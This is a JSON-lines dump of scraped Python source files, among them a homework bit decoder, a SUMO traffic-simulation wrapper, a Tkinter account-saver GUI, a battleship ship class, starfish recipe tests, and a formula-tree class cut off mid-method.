+{"seq_id":"100315456","text":"#!/usr/bin/env python3\n#\n# Jack Roten\n# PERM#  8831794\n# UCSB Physics 129L\n# Homework 4\n# Python -V = Python 3.7.1\n#\n# Homework 5, Exercise 4\n#\n# 16-bit total, bit 0 to 3 channel number, bit 4 to 7 time, bit 8 to 15 pulse height\n#\n#-------------------------------------------------------------------------------\n\nwhile True:\n\tencode = int(input(\"Enter a number between 0 to 65,535 (16-bit): \"))\n\tif 0 < encode < 65536:\n\t\tbreak\n\telse:\n\t\tprint('Out of range')\n\n# converting to binary\nrawBinary = bin(encode)\nbinary = rawBinary[2:]\nwhile len(binary) < 16:\n\tbinary = \"0\" + binary\n\n#print(binary)\n\t\n# splitting string\ndata = []\n#for i in range(0, len(binary), n):\ndata.append((binary[0:4]))\ndata.append((binary[4:8]))\ndata.append((binary[8:16]))\t\n#print(data)\n\t\n# nested for loop to iterate through data and convert binary to decimal\ni = 0\nnewData = []\nwhile i < len(data):\n\tnibble = data[i]\n\tdecimal = int(nibble, 2)\n\tnewData.append(decimal)\n\ti +=1\n\nprint(\"Channel number: \", newData[0])\nprint(\"Time: \", newData[1])\nprint(\"Pulse Height: \", newData[2])\n","sub_path":"Old-HW-JACK/Roten-8831794-hw5/assignment/RotenExercise4.py","file_name":"RotenExercise4.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"122513553","text":"import time\nimport random\nimport os\nimport shutil\nimport string\nimport subprocess\nimport sys\nimport numpy as np\nimport multiprocessing as mp\nfrom xml.etree import ElementTree as ET\nfrom fitness_class import fitness\nimport tensorflow as tf\nfrom tensorflow import Graph\ntry:\n    sys.path.append(os.path.join(os.path.dirname(\n        __file__), '..', '..', '..', '..', \"tools\"))  # tutorial in tests\n    sys.path.append(os.path.join(os.environ.get(\"SUMO_HOME\", os.path.join(\n        os.path.dirname(__file__), \"..\", \"..\", \"..\")), \"tools\"))  # tutorial in docs\n    from sumolib import checkBinary  # noqa\nexcept ImportError:\n    sys.exit(\n        \"please declare environment variable 'SUMO_HOME' as the root directory of your sumo installation (it should contain folders 'bin', 'tools' and 'docs')\")\n\ndef run_simulate(i, sumoCmd):\n    # print('Run task %s ...' % i)\n    subprocess.call(sumoCmd, stdout=sys.stdout, stderr=sys.stderr)\n    # print('Task %s finish ' % i)\n\ndef _getCr(i):\n        tree = ET.parse(\"input/addfile/%d_osm.add.xml\" % i)\n        root = tree.getroot()\n        Cr = 0\n        for child in root.iter('phase'):\n            duration = int(child.get('duration'))\n            state = child.get('state').lower().translate(None, \"y\")\n            if state != 0:\n                r_count = state.count('r') if state.count('r') is not 0 else 1\n                g_count = state.count('g') if state.count('g') is not 0 else 1\n                rate = g_count / r_count\n                Cr += duration * rate\n        return Cr\n\nclass simulate_sumo():\n    def __init__(self, size , map , road):\n        self.size = size\n\n        self.original_file = \"input/map/{}/copy_{}.add.xml\".format(map , map)\n\n        self.creat_InOut_file()\n        self.sumocfg_file = \"osm.sumocfg\"\n\n        net_file = \"input/map/{}/{}.net.xml\".format(map , map)\n        route_files = \"input/road/{}/{}{}.rou.xml\".format(map , map , road)\n        \n        self.init_cfg_file(net_file,route_files)\n\n    def init_cfg_file(self , net_file , route_files):\n\n        tree = ET.parse(self.sumocfg_file)\n        root = tree.getroot()\n        for child in root.iter('net-file'):\n           child.set('value' , net_file)\n        for child in root.iter('route-files'):\n           child.set('value' , route_files)\n        tree.write(self.sumocfg_file)\n        \n    def get_p_dim(self):\n        tree = ET.parse(self.original_file)\n        root = tree.getroot()\n        size = 0\n        for child in root.iter('phase'):\n            checkhasyellow = string.find(child.get('state').lower(), 'y') != -1\n            if checkhasyellow != 1:\n                size += 1\n        return size\n    \n    def creat_InOut_file(self):\n        self.inputfile = []\n        self.outputfile = []\n        for i in range(self.size):\n            self.inputfile.append(\"input/addfile/%d_osm.add.xml\" % i)\n            self.outputfile.append(\"output/%d_out.xml\" % i)\n            shutil.copyfile(self.original_file, self.inputfile[i])\n\n    def _modify_add_xml_phase_duration(self, population_i, inputfile_i):\n        tree = ET.parse(inputfile_i)\n        root = tree.getroot()\n        index = 0\n        for child in root.iter('phase'):\n            checkhasyellow = string.find(child.get('state').lower(), 'y') != -1\n            if checkhasyellow == 1:\n                child.set('duration', '5')\n            else:\n                child.set('duration', str(int(round(population_i[index]))))\n                index += 1\n        tree.write(inputfile_i)\n\n    def sumo_single_setting(self, population_i):\n        self._modify_add_xml_phase_duration(population_i, self.inputfile[0])\n        sumoCmd = [checkBinary('sumo'), \"-c\", self.sumocfg_file, \"-a\",\n                   self.inputfile[0], \"--tripinfo-output\", self.outputfile[0]]\n        run_simulate(0, sumoCmd)\n\n    # pso -> swarm[i].position\n    # spso2011 -> swarm[i].current.position\n    # gwo_m_v0 -> swarm[i,:] \n    # gwo_m -> swarm[i].position\n    # vector_goagwo_m_v0 -> swarm[i,:]\n\n    def sumo_multi_setting(self, swarm):\n        p = mp.Pool(self.size)\n        for i in range(self.size):\n            self._modify_add_xml_phase_duration(swarm[i].position, self.inputfile[i])\n            sumoCmd = [checkBinary('sumo'), \"-c\", self.sumocfg_file,\n                       \"-a\", self.inputfile[i], \"--tripinfo-output\", self.outputfile[i]]\n            p.apply_async(run_simulate, args=(i, sumoCmd))\n        # close pool ,do not accept new task\n        p.close()\n        # let parent wait ,after child all have finish will open\n        p.join()\n        print(\"all done\")\n\n    def _getFitness_from_sumo(self, index):\n\n        tree = ET.parse(self.outputfile[index])\n        root = tree.getroot()\n\n        complete_duration = 0.0\n        incomplete_Veh_num = 0\n        complete_Veh_num = 0\n        waitingTime = 0\n        simulationTime = 500\n        insert_in_sumo = 0\n\n        for child in root.iter('tripinfo'):\n            insert_in_sumo += 1\n            # vaporized = 0 mean vehicle's not finish on journey\n            if child.get('arrival') == \"-1.00\":\n                incomplete_Veh_num += 1\n            else:\n                complete_duration += float(child.get('duration'))\n                complete_Veh_num += 1\n            waitingTime += int(child.get('waitSteps'))\n\n        sqar_complete_Veh_num = np.square(complete_Veh_num)\n        incomplete_time = incomplete_Veh_num * simulationTime\n        Cr = _getCr(index)\n        element = fitness(complete_duration, waitingTime,\n                          incomplete_time, Cr, sqar_complete_Veh_num)\n        fitnesses = element._calFitness()\n        return fitnesses\n\nclass simulate_model():\n    def load_model(self):\n\n        self.md_complete_Veh_num = tf.contrib.keras.models.load_model(\n            \"model/complete_Veh_num.h5\")\n        print('aaa')\n\n        self.md_incomplete_Veh_num = tf.contrib.keras.models.load_model(\n            \"model/incomplete_Veh_num.h5\")\n        print('bbb')\n\n        self.md_complete_duration = tf.contrib.keras.models.load_model(\n            \"model/complete_duration.h5\")\n        print('ccc')\n\n        self.md_waitingTime = tf.contrib.keras.models.load_model(\n            \"model/waitingTime.h5\")\n        print('ddd')\n\n    def _getFitness_from_model(self, p, i):\n        simulationTime = 500\n        sqar_complete_Veh_num = np.square(self.md_complete_Veh_num.predict(p))\n        incomplete_time = self.md_incomplete_Veh_num.predict(\n            p) * simulationTime\n        Cr = _getCr(i)\n        complete_duration = self.md_complete_duration.predict(p)\n        waitingTime = self.md_waitingTime.predict(p)\n        element = fitness(complete_duration, waitingTime,\n                          incomplete_time, Cr, sqar_complete_Veh_num)\n        fitnesses = element._calFitness()\n        return fitnesses\n","sub_path":"sumo_experiment/v1.8/simulate.py","file_name":"simulate.py","file_ext":"py","file_size_in_byte":6764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"307874416","text":"# -*- coding: UTF-8 -*-\n# want the file to be small, and export to .exe\nfrom os.path import exists # check if folder exists\nfrom os import makedirs # make folder\nfrom Tkinter import * # for GUI\n\n\n# optional path, include the '/'\n# if empty, program saves folders into it's own directory\noptPath = 'accountSaver/'\n\nprefixes = {\n\t\t'website': '',\n\t\t'username': 'username: ',\n\t\t'email': 'email: ',\n\t\t'password': 'password: '\n\t\t}\ndef main():\n\twindow = Tk()\n\twindow.title('accountSaver')\n\n\twidth = 750\n\theight = 60\n\n\tscreenw = window.winfo_screenwidth()\n\tscreenh = window.winfo_screenheight()\n\n\tposx = (screenw/2) - (width/2)\n\tposy = (screenh/2) - (height/2)\n\n\twindow.geometry('%dx%d+%d+%d' % (width, height, posx, posy))\n\n\n\twEntry = makeEntry(window, 'website name: ', 16)\n\tuEntry = makeEntry(window, 'username: ', 16)\n\teEntry = makeEntry(window, 'email: ', 16)\n\tpEntry = makeEntry(window, 'password: ', 16, show=\"G\")\n\n\tsubmitButton = Button(window, text='Submit', width=12, command=lambda: buttonCallback([wEntry,uEntry,eEntry,pEntry]))\n\tsubmitButton.pack()\n\twindow.mainloop()\n\n# nice function from http://effbot.org/tkinterbook/entry.htm\ndef makeEntry(parent, caption, width=None, **options):\n\tLabel(parent, text=caption).pack(side=LEFT)\n\tentry = Entry(parent, **options)\n\tif width:\n\t\tentry.config(width=width)\n\tentry.pack(side=LEFT)\n\treturn entry\ndef buttonCallback(entryArr):\n\tguiResult = [entryArr[0].get(),entryArr[1].get(),entryArr[2].get(),entryArr[3].get()]\n\tresult = salvageInfo(prefixes, guiResult)\n\tif result == False:\n\t\treturn False\n\tfileOp = storeInfo(result, prefixes)\n\tif fileOp == False:\n\t\treturn False\n\t# clear fields on success\n\tfor entry in entryArr:\n\t\tentry.delete(0, 'end')\n\ndef salvageInfo(base, infoArr):\n\tresultArr = base.copy() # don't change input dict\n\tinfoLen = len(infoArr)\n\tif len(infoArr[0]) < 1:\n\t\treturn False\n\tresultArr['website'] += infoArr[0]\n\tresultArr['username'] += infoArr[1]\n\tresultArr['email'] += infoArr[2]\n\tresultArr['password'] += infoArr[3]\n\treturn resultArr\n\ndef storeInfo(info, prefixes):\n\tdirectory = optPath+info['website']\n\trawEmail = info['email'].replace(prefixes['email'], '').strip()\n\trawUsername = info['username'].replace(prefixes['username'], '').strip()\n\t# [list(statistics.values()).index(arr)])\n\tif rawUsername != '': # avoid space being a username...\n\t\tfilename = rawUsername\n\telif rawEmail != '':\n\t\tfilename = rawEmail\n\telse:\n\t\treturn False\n\t# don't need to make dir if it exists\n\tif not exists(directory):\n\t\tmakedirs(directory)\n\tinfoLen = len(info)\n\toutput = ''\n\t# only print prefix if there is an actual value, only newline if we're not at the last value\n\t# it is assumed that there is a password, in other cases it is empty\n\tfor key in prefixes:\n\t\toutput += (info[key],'')[key=='username' and rawUsername == '' or key=='email' and rawEmail == '' or key=='website'] + ('\\n','')[key=='username' and rawUsername == '' or key=='email' and rawEmail == '' or key == 'website']\n\ttry:\n\t\twith open(directory+'/'+filename+'.txt', 'w') as f:\n\t\t\tf.write(output)\n\t\treturn True\n\texcept:\n\t\treturn False\nmain()","sub_path":"accountSaver.py","file_name":"accountSaver.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"484139244","text":"import random\nfrom constants import SIZE\n\n\nclass Ship:\n\n    def __init__(self, size, filled):\n        self.size = size\n        self.filled = filled\n        self.coords = self.setup()\n    \n    def setup(self):\n        coords = []\n        while len(coords) < self.size:\n            if len(coords) == 0:\n                coord = random.randint(0, SIZE*SIZE-1)\n            else:\n                direction = random.randint(0, 3)\n                if direction == 0 and coord % SIZE < 9:\n                    coord = coord + 1\n                elif direction == 1 and coord // SIZE < 9:\n                    coord = coord + SIZE\n                elif direction == 2 and coord % SIZE > 0:\n                    coord = coord - 1\n                elif direction == 3 and coord // SIZE > 0:\n                    coord = coord - SIZE\n                else:\n                    coords = []\n                    continue\n            if coord not in coords and coord not in self.filled:\n                coords.append(coord)\n            else:\n                coords = []\n        return coords\n\n    def around(self):\n        around_ship = []\n        for part in self.coords:\n            # check up\n            if part // 10 > 0 and part-10 not in self.coords:\n                around_ship.append(part-10)\n            # check down\n            if part // 10 < 9 and part+10 not in self.coords:\n                around_ship.append(part+10)\n            # check left\n            if part % 10 > 0 and part-1 not in self.coords:\n                around_ship.append(part-1)\n            # check right\n            if part % 10 < 9 and part+1 not in self.coords:\n                around_ship.append(part+1)\n            # check top left\n            if part // 10 > 0 and part % 10 > 0 and part-11 not in self.coords:\n                around_ship.append(part-11)\n            # check top right\n            if part // 10 > 0 and part % 10 < 9 and part-9 not in self.coords:\n                around_ship.append(part-9)\n            # check bottom left\n            if part // 10 < 9 and part % 10 > 0 and part+9 not in self.coords:\n                around_ship.append(part+9)\n            # check bottom right\n            if part // 10 < 9 and part % 10 < 9 and part+11 not in self.coords:\n                around_ship.append(part+11)\n        around_ship = list(set(around_ship))\n        return around_ship\n","sub_path":"ships.py","file_name":"ships.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"384256757","text":"import json\nfrom pathlib import Path\nfrom typing import Tuple\n\nimport aiohttp\n\nRAW_VERSION_PATH = Path(__file__).parent.parent / \"info.json\"\nRAW_VERSION_URL = (\n    \"https://raw.githubusercontent.com/Kreusada/Kreusada-Cogs/master/raffle/info.json\"\n)\n\n__all__ = (\"VersionHandler\",)\n\n\nclass VersionHandler(object):\n    \"\"\"A raffle version information object used to\n    check if the cog is outdated.\"\"\"\n\n    with open(RAW_VERSION_PATH, \"r\") as f:\n        __version__ = tuple(json.load(f)[\"version\"])\n\n    @classmethod\n    async def request_raw_version(cls) -> Tuple[int]:\n        async with aiohttp.request(\"GET\", RAW_VERSION_URL) as res:\n            ret = await res.text()\n        return tuple(json.loads(ret)[\"version\"])\n\n    @classmethod\n    async def validate(cls) -> bool:\n        raw_version = await cls.request_raw_version()\n        return cls.__version__ >= raw_version\n\n    @classmethod\n    def tuple_to_str(cls, v) -> str:\n        return \".\".join(str(x) for x in v)\n","sub_path":"raffle/utils/version_handler.py","file_name":"version_handler.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"183232628","text":"import os\nimport tempfile\nimport warnings\n\nimport numpy as np\nimport pytest\n\nfrom starfish import ImageStack\nfrom . import fakefilter  # noqa: F401\nfrom ..errors import ConstructorError, ConstructorExtraParameterWarning\nfrom ..recipe import Recipe\n\n\nBASE_EXPECTED = np.array([\n    [0.227543, 0.223117, 0.217014, 0.221241, 0.212863, 0.211963, 0.210575,\n     0.198611, 0.194827, 0.181964],\n    [0.216617, 0.214710, 0.212467, 0.218158, 0.211429, 0.210361, 0.205737,\n     0.190814, 0.182010, 0.165667],\n    [0.206744, 0.204685, 0.208774, 0.212909, 0.215274, 0.206180, 0.196674,\n     0.179080, 0.169207, 0.157549],\n    [0.190845, 0.197131, 0.188540, 0.195361, 0.196765, 0.200153, 0.183627,\n     0.167590, 0.159930, 0.150805],\n    [0.181231, 0.187457, 0.182910, 0.179416, 0.175357, 0.172137, 0.165072,\n     0.156344, 0.153735, 0.150378],\n    [0.169924, 0.184604, 0.182422, 0.174441, 0.159823, 0.157229, 0.157259,\n     0.151690, 0.147265, 0.139940],\n    [0.164874, 0.169467, 0.178012, 0.173129, 0.161425, 0.155978, 0.152712,\n     0.150286, 0.145159, 0.140658],\n    [0.164508, 0.165042, 0.171420, 0.174990, 0.162951, 0.152422, 0.149325,\n     0.151675, 0.141588, 0.139010],\n    [0.162448, 0.156451, 0.158419, 0.162722, 0.160388, 0.152865, 0.142885,\n     0.142123, 0.140093, 0.135836],\n    [0.150072, 0.147295, 0.145495, 0.153216, 0.156085, 0.149981, 0.145571,\n     0.141878, 0.138857, 0.136965]],\n    dtype=np.float32)\nURL = \"https://d2nhj9g34unfro.cloudfront.net/20181005/ISS-TEST/fov_001/hybridization.json\"\n\n\ndef test_simple_recipe():\n    \"\"\"Test that a simple recipe can execute correctly.\"\"\"\n    recipe_str = \"\"\"\nfile_outputs[0] = compute(Filter.SimpleFilterAlgorithm, file_inputs[0], multiplicand=0.5)\n    \"\"\"\n\n    with tempfile.TemporaryDirectory() as tempdir:\n        output_path = os.path.join(tempdir, \"output.json\")\n        recipe = Recipe(recipe_str, [URL], [output_path])\n\n        execution = recipe._execution()\n        execution.run_and_save()\n\n        result_stack = ImageStack.from_path_or_url(output_path)\n        assert np.allclose(\n            BASE_EXPECTED * .5,\n            result_stack.xarray[2, 2, 0, 40:50, 40:50]\n        )\n\n\ndef test_chained_recipe():\n    \"\"\"Test that a recipe with a complex graph can execute correctly.\"\"\"\n    recipe_str = \"\"\"\na = compute(Filter.SimpleFilterAlgorithm, file_inputs[0], multiplicand=0.5)\nb = compute(Filter.SimpleFilterAlgorithm, a, multiplicand=.3)\nfile_outputs[0] = compute(Filter.SimpleFilterAlgorithm, b, multiplicand=0.2)\nc = compute(Filter.SimpleFilterAlgorithm, a, multiplicand=.2)\nfile_outputs[1] = compute(Filter.SimpleFilterAlgorithm, c, multiplicand=.3)\n    \"\"\"\n\n    with tempfile.TemporaryDirectory() as tempdir:\n        output_0_path = os.path.join(tempdir, \"output_0.json\")\n        output_1_path = os.path.join(tempdir, \"output_1.json\")\n        recipe = Recipe(recipe_str, [URL], [output_0_path, output_1_path])\n\n        execution = recipe._execution()\n        execution.run_and_save()\n\n        for path in (output_0_path, output_1_path):\n            result_stack = ImageStack.from_path_or_url(path)\n            assert np.allclose(\n                BASE_EXPECTED * .03,\n                result_stack.xarray[2, 2, 0, 40:50, 40:50]\n            )\n\n\ndef test_garbage_collection():\n    \"\"\"Test that recipe execution discards intermediate results that are no longer necessary.\"\"\"\n    recipe_str = \"\"\"\na = compute(Filter.SimpleFilterAlgorithm, file_inputs[0], multiplicand=0.5)\nb = compute(Filter.SimpleFilterAlgorithm, a, multiplicand=0.3)\nc = compute(Filter.SimpleFilterAlgorithm, b, multiplicand=4.)\nd = compute(Filter.SimpleFilterAlgorithm, c, multiplicand=0.5)\nfile_outputs[0] = compute(Filter.SimpleFilterAlgorithm, d, multiplicand=0.5)\n    \"\"\"\n\n    with tempfile.TemporaryDirectory() as tempdir:\n        output_path = os.path.join(tempdir, \"output.json\")\n        recipe = Recipe(recipe_str, [URL], [output_path])\n\n        execution = recipe._execution()\n        execution._run_one_tick()\n        execution._run_one_tick()\n\n        assert len(execution._completed_results) == 1\n\n        execution.run_and_save()\n\n        result_stack = ImageStack.from_path_or_url(output_path)\n        assert np.allclose(\n            BASE_EXPECTED * .15,\n            result_stack.xarray[2, 2, 0, 40:50, 40:50]\n        )\n\n\ndef test_recipe_constructor_missing_args():\n    \"\"\"Test that recipe construction detects missing arguments to the constructor.\"\"\"\n    recipe_str = \"\"\"\nfile_output[0] = compute(Filter.SimpleFilterAlgorithm, file_inputs[0])\n\"\"\"\n\n    with tempfile.TemporaryDirectory() as tempdir:\n        output_path = os.path.join(tempdir, \"output.json\")\n        with pytest.raises(ConstructorError):\n            Recipe(recipe_str, [URL], [output_path])\n\n\ndef test_recipe_constructor_extra_args():\n    \"\"\"Test that recipe construction detects missing arguments to the constructor.\"\"\"\n    recipe_str = \"\"\"\nfile_outputs[0] = compute(Filter.SimpleFilterAlgorithm, file_inputs[0], multiplicand=.5, x=1)\n\"\"\"\n\n    with tempfile.TemporaryDirectory() as tempdir:\n        output_path = os.path.join(tempdir, \"output.json\")\n        with warnings.catch_warnings(record=True) as w:\n            recipe = Recipe(recipe_str, [URL], [output_path])\n\n            assert len(w) == 1\n            assert issubclass(w[-1].category, ConstructorExtraParameterWarning)\n\n        execution = recipe._execution()\n        execution.run_and_save()\n\n        result_stack = ImageStack.from_path_or_url(output_path)\n        assert np.allclose(\n            BASE_EXPECTED * .5,\n            result_stack.xarray[2, 2, 0, 40:50, 40:50]\n        )\n","sub_path":"starfish/core/recipe/test/test_recipe.py","file_name":"test_recipe.py","file_ext":"py","file_size_in_byte":5557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"569366741","text":"import numpy as np\nimport copy\n\nfrom sklearn.tree import DecisionTreeClassifier\nfrom scipy.optimize import minimize\nfrom submissions.formulas.OptimizeCoefficients import *\n\n\nclass Node:\n    def __init__(self, id, obj, value, weight, a, b=-1, c=-1):\n        # a -> b,  c\n        self.id = id\n        self.a = a\n        self.b = b\n        self.c = c\n        self.object = obj\n        self.value = value\n        self.weight = weight\n        self.status = 1\n        if((obj == \"=\") | (obj == \"+\") | (obj == \"*\")):\n            self.status = 2\n        # -1 : Dead\n        #  0 : Nothing\n        #  1 : End node\n        #  2 : Branching operation\n        #  3 : Coefficient\n        #  4 : Solid\n\n\nclass FormulaTree:\n    def __init__(self):\n        self.verbose = False\n        self.nleaf = 0\n        self.root = 0\n        self.score = 0\n        self.generation = 0\n        self.coefficients = np.array([])\n        self.variables = np.array([])\n        self.all_variables = np.array(range(20, 30))\n\n        self.operations = [\"*\", \"+\", \"-\"]\n        self.subtrees = []\n        self.nodes = np.array([])\n\n    def set_classifier(self):\n        self.clf = DecisionTreeClassifier(\n            max_depth=1,\n            max_features=1,\n            max_leaf_nodes=2\n        )\n\n    def error_function(self, c):\n        return 1. - classifier_score(self, c)\n\n    def input_data(self, X, y):\n        self.X = X\n        self.y = y\n\n    def fit_classifier(self, X, y):\n        self.clf.fit(X, y)\n        return self.clf.score(X, y)\n\n    def get_subtree(self, inode):\n        subtree = FormulaTree()\n        pass\n        return subtree\n\n    def add_subtrees(self, trees):\n        self.subtrees = np.append(self.subtrees, trees)\n\n    def get_formula(self, inode=-1):\n        if(inode < 0):\n            inode = self.root\n        if(self.verbose):\n            print(\"printing tree starting from index \", inode)\n        node = self.nodes[int(inode)]\n        status = node.status\n        text = \"\"\n        if(status == 1):\n            text = node.object\n            if(self.verbose):\n                print(text)\n        else:\n            text = (\"(\" +\n                    self.get_formula(node.b) +\n                    node.object +\n                    self.get_formula(node.c) +\n                    \")\"\n                    )\n        return text\n\n    def print_nodes(self):\n        if(self.verbose):\n            i = 0\n            print(\"==========================\")\n            print(\"Number of nodes : \", len(self.nodes))\n            print(\"Root node : \", self.root)\n            for node in self.nodes:\n                print(\"- - - - - - - - - - - - - - - - \")\n                print(\"Entry  : \", i)\n                print(\"id     : \", node.id)\n    #            print(\"object : \", node.object)\n                print(\"a,b,c    : \", node.a, \",\", node.b, \",\", node.c)\n                print(\"status : \", node.status)\n    #            print(\"value,  : \", node.value)\n    #            print(\"weight : \", node.weight)\n                i += 1\n            print(\"==========================\")\n\n    def add_node(self, a=-1, var=\"\", value=1., weight=1.):\n        if(var == \"\"):\n            var = self.pick_variable()\n        i = len(self.nodes)\n        if(self.verbose):\n            print(\"adding node : \", i)\n        self.nodes = np.append(self.nodes, Node(i, var, 1., 1., a, -1, -1))\n        self.nleaf += 1\n        return i\n\n    def pick_variable(self):\n        var_id = self.all_variables[\n            np.random.random_integers(0, len(self.all_variables) - 1)\n        ]\n        var = \"X[:,\" + str(var_id) + \"]\"\n        if(np.in1d(var_id, self.variables, invert=True)):\n            self.variables = np.append(self.variables, var_id)\n        return var\n\n    def pick_operation(self):\n        op = np.random.random_integers(0, len(self.operations) - 1)\n        return self.operations[op]\n\n    def kill_node(self, inode):\n        if(self.verbose):\n            print(\"Killing node : \", inode)\n        status = self.nodes[inode].status\n        self.nodes[inode].status = -1\n        if(status == 1):\n            self.nleaf -= 1\n        if(status == 2):\n            self.kill_node(self.nodes[inode].b)\n            self.kill_node(self.nodes[inode].c)\n\n    def clean_dead(self):\n        for i in range(len(self.nodes) - 1, -1, -1):\n            if(self.nodes[i].status == -1):\n                self.nodes = np.delete(self.nodes, i)\n\n    def reset_ids(self, offset=0):\n        new_ids = np.array(range(0, len(self.nodes)))\n        ids = np.array([])\n\n        new_id = np.full(len(self.nodes), -1)\n        a = np.full(len(self.nodes), -1)\n        b = np.full(len(self.nodes), -1)\n        c = np.full(len(self.nodes), -1)\n\n        for node in self.nodes:\n            if(node.status != -1):\n                ids = np.append(ids, int(node.id))\n\n        if(self.verbose):\n            print(\"ids     (\", len(ids), \") : \", ids)\n            print(\"new_ids (\", len(new_ids), \") : \", new_ids)\n\n        for i in range(0, len(self.nodes)):\n            if(self.nodes[i].status != -1):\n\n                if(self.verbose):\n                    print(\"node i : \", i)\n                    print(\"a : \", self.nodes[i].a)\n                    print(\"b : \", self.nodes[i].b)\n                    print(\"c : \", self.nodes[i].c)\n\n                new_id[i] = np.where(ids == self.nodes[i].id)[0][0] + offset\n                if(self.nodes[i].id != self.root):\n                    a[i] = np.where(ids == self.nodes[i].a)[0][0] + offset\n                else:\n                    if(self.verbose):\n                        print(\"Found the root : \", self.root)\n                    self.root = new_id[i]\n                if(self.nodes[i].status == 2):\n                    if(self.nodes[i].b != -1):\n                        b[i] = np.where(ids == self.nodes[i].b)[0][0] + offset\n                    if(self.nodes[i].c != -1):\n                        c[i] = np.where(ids == self.nodes[i].c)[0][0] + offset\n\n        for i in range(0, len(self.nodes)):\n            if(self.nodes[i].status != -1):\n                self.nodes[i].a = a[i]\n                self.nodes[i].b = b[i]\n                self.nodes[i].c = c[i]\n                self.nodes[i].id = new_id[i]\n\n    def add_coefficients(self, cname=\"C\", constant=True):\n        add_brackets = True\n        c = 0\n        self.npar = 0\n        for node in self.nodes:\n            status = node.status\n            parent = self.nodes[node.a]\n            if(status == 1 and\n                    not ((parent.object == \"*\") & (parent.c == node.id))):\n                coefficient = cname + str(c)\n                if(add_brackets):\n                    coefficient = cname + \"[\" + str(c) + \"]\"\n                self.split_node(node.id, \"*\", coefficient)\n                self.nleaf -= 1\n                self.npar += 1\n                c += 1\n        if(constant):\n            coefficient = cname + \"[\" + str(c) + \"]\"\n            self.split_root(\"+\", coefficient)\n            self.npar += 1\n        self.coefficients = np.full(self.npar, 1.)\n\n    def fit_coefficients(self, X, y):\n        self.score = 0\n        c0 = 5. * (2. * np.random.random(self.npar) - 1.)\n\n        if(self.npar > 2):\n            self.input_data(X, y)\n            nc = self.npar - 2\n    #        c0 = np.full(nc, -100.002)\n            c0 = 5. * (2. * np.random.random(nc) - 1.)\n\n            bnds = [[-1000, 1000.]] * nc\n            print(bnds)\n\n# Fitting coefficients\n    #        res = minimize(fun=self.classifier_error, x0=c0)\n\n    #        res = minimize(fun=self.classifier_error, x0=c0,\n    #                       method='L-BFGS-B', bounds=bnds,\n    #                       options={'ftol': 0.000000001, 'gtol': 0.0000000001, 'eps': 1.003, 'maxcor': 1125, 'maxiter': 1000000})\n\n            res = minimize(fun=self.error_function, x0=c0,\n                           method='L-BFGS-B',\n                           #                           bounds=bnds,\n                           options={'xtol': 0.001, 'eps': 0.2, 'maxiter': 1000000})\n\n    #        res = minimize(fun=self.classifier_error, x0=c0,\n    #                       method='SLSQP', bounds=bnds,\n    #                       options={'ftol': 0.00001, 'eps': 1110.05, 'maxiter': 1000000})\n\n#            res = minimize(fun=self.classifier_error, x0=c0,\n#                           method='BFGS',\n#                           bounds=bnds,\n#                           options={'gtol': 0.9, 'eps': 0.5, 'norm': 10.1, 'maxiter': 1000000})\n\n            print(res)\n            if(res.success):\n                self.coefficients = format_coefficients(self, res.x)\n                self.score = 1. - res.fun\n            else:\n                self.coefficients = format_coefficients(self, c0)\n        else:\n            self.coefficients = format_coefficients(self, c0)\n\n        print(\"Initial coefficients: \", format_coefficients(self, c0))\n        print(\"Final   coefficients: \", self.coefficients)\n        return self.score\n\n# external modification methods\n\n    def split_node(self, inode, op=\"\", var=\"\", var0=\"preserve\"):\n        if(op == \"\"):\n            op = self.pick_operation()\n\n        if(self.verbose):\n            print(\"splitting node : \", inode)\n        node = self.nodes[inode]\n        status = node.status\n        split = False\n        if(status != 1):\n            if(self.verbose):\n                print(\"cannot split intermediate node or coefficient\")\n            split = False\n        else:\n            if(var0 == \"preserve\"):\n                var0 = node.object\n            node.b = self.add_node(node.id, var, 1., 1.)\n            node.c = self.add_node(node.id, var0, 1., 1.)\n            node.status = 2\n            node.object = op\n            self.nodes[inode] = node\n            split = True\n            self.nleaf -= 1\n        return split\n\n    def split_root(self, op=\"+\", obj=\"\"):\n        n = len(self.nodes)\n        self.add_node(-1, op, 1., 1.)\n        self.add_node(n, obj, 1., 1.)\n        self.nodes[self.root].a = n\n        self.nodes[n].b = self.root\n        self.nodes[n].c = n + 1\n        self.root = n\n        self.nleaf -= 1\n        return self.root\n\n    def replace_node(self, inode, obj=\"\"):\n        node = self.nodes[inode]\n        if(obj == \"\"):\n            if(node.status == 1):\n                obj = self.pick_variable()\n            else:\n                obj = self.pick_operation()\n        node.object = obj\n        self.nodes[inode] = node\n\n    def truncate_node(self, inode, obj=\"END\"):\n        if(inode == self.root):\n            \"Truncating the whole tree\"\n        if(self.verbose):\n            print(\"truncating tree starting from index \", inode)\n        self.kill_node(inode)\n        self.nleaf += 1\n        self.nodes[inode].object = obj\n        self.nodes[inode].status = 1\n        self.nodes[inode].value = 1.\n        self.nodes[inode].weight = 1.\n        self.nodes[inode].b = -1\n        self.nodes[inode].c = -1\n        self.reset_ids()\n        self.clean_dead()\n        return inode\n\n    def reconnect_node(self, inode, subtree):\n        node = self.nodes[inode]\n        pass\n\n    def graft_node(self, subtree_input, inode):\n        grafted = False\n        node = copy.deepcopy(self.nodes[inode])\n\n        if(node.status == 1 & inode != self.root):\n            print(\"grafting on node : \", inode)\n            self.print_nodes()\n            subtree = copy.deepcopy(subtree_input)\n            parent = self.nodes[int(node.a)]\n            parent_id = int(parent.id)\n            print(\"Parent is : \", parent_id)\n            b = False\n            if(parent.b == inode):\n                b = True\n            self.nodes[inode].status = -1\n            if(b is True):\n                self.nodes[parent_id].b = -1\n            else:\n                self.nodes[parent_id].c = -1\n\n            self.reset_ids()\n            self.print_nodes()\n\n            self.clean_dead()\n            self.print_nodes()\n\n            n = len(self.nodes)\n\n            subtree.print_nodes()\n            subtree.reset_ids(n)\n            